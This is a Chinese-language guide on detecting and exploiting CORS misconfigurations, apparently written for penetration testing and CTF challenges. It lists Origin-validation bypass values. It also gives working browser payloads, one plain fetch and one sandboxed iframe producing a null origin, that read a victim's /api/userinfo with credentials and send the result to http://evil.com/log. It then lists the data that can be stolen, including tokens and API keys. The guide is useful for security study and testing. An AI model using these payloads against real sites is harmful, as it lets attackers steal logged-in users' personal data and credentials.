CORS 配置错误方法论
CORS(Cross-Origin Resource Sharing)错误配置允许恶意网站跨域读取目标站点的敏感数据。关键在于 Access-Control-Allow-Origin 和 Access-Control-Allow-Credentials 两个响应头。
Phase 1: 检测 CORS 配置
1.1 发送带 Origin 的请求
http_request url="http://target/api/userinfo" headers={"Origin":"https://evil.com"}
检查响应头:
Access-Control-Allow-Origin: https://evil.com→ 反射任意 Origin(危险)Access-Control-Allow-Origin: *→ 通配符(通常无法携带 Cookie)Access-Control-Allow-Credentials: true→ 允许携带 Cookie(和反射 Origin 组合 = 严重漏洞)- 无 ACAO 头 → CORS 正确拒绝
1.2 测试 Origin 校验绕过
# 空 Origin
Origin: null
# 子域名
Origin: https://evil.target.com
Origin: https://target.com.evil.com
# 前缀/后缀匹配
Origin: https://attackertarget.com
Origin: https://target.com.attacker.com
# 特殊协议
Origin: http://target.com (HTTPS 站点接受 HTTP Origin)
1.3 危险组合判断
| Allow-Origin | Allow-Credentials | 风险等级 |
|---|---|---|
| 反射任意 Origin | true | 严重 — 可跨域窃取用户数据 |
null |
true | 高 — iframe sandbox 可设置 null origin |
* |
false | 低 — 不能携带 Cookie,通常只暴露公开数据 |
| 固定白名单 | true | 安全(除非白名单中有你控制的域名) |
Phase 2: 利用 CORS 错误配置
2.1 反射 Origin + Credentials(最常见)
目标返回:
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true
构造窃取页面:
<script>
fetch('http://target/api/userinfo', {credentials: 'include'})
.then(r => r.json())
.then(data => {
// 发送到攻击者服务器
fetch('http://evil.com/log?data=' + JSON.stringify(data));
});
</script>
2.2 null Origin 利用
如果 Access-Control-Allow-Origin: null,用 iframe sandbox 触发:
<iframe sandbox="allow-scripts allow-forms" srcdoc="
<script>
fetch('http://target/api/userinfo', {credentials: 'include'})
.then(r => r.text())
.then(d => fetch('http://evil.com/log?d=' + encodeURIComponent(d)));
</script>
"></iframe>
Phase 3: 数据获取
CORS 利用成功后,可以读取的敏感数据:
- 用户个人信息(
/api/profile,/api/userinfo) - API 密钥和 Token
- 内部 API 数据
- 管理员面板数据
CTF 中:Flag 通常在需要管理员 Cookie 才能访问的 API 中。
注意事项
- CORS 漏洞需要受害者访问攻击者页面才能触发(类似 CSRF/XSS)
- 纯
Access-Control-Allow-Origin: *不允许credentials: include,风险较低 - 检查 preflight(OPTIONS)请求的处理——有些框架只在 GET 上设置 CORS,不在 OPTIONS 上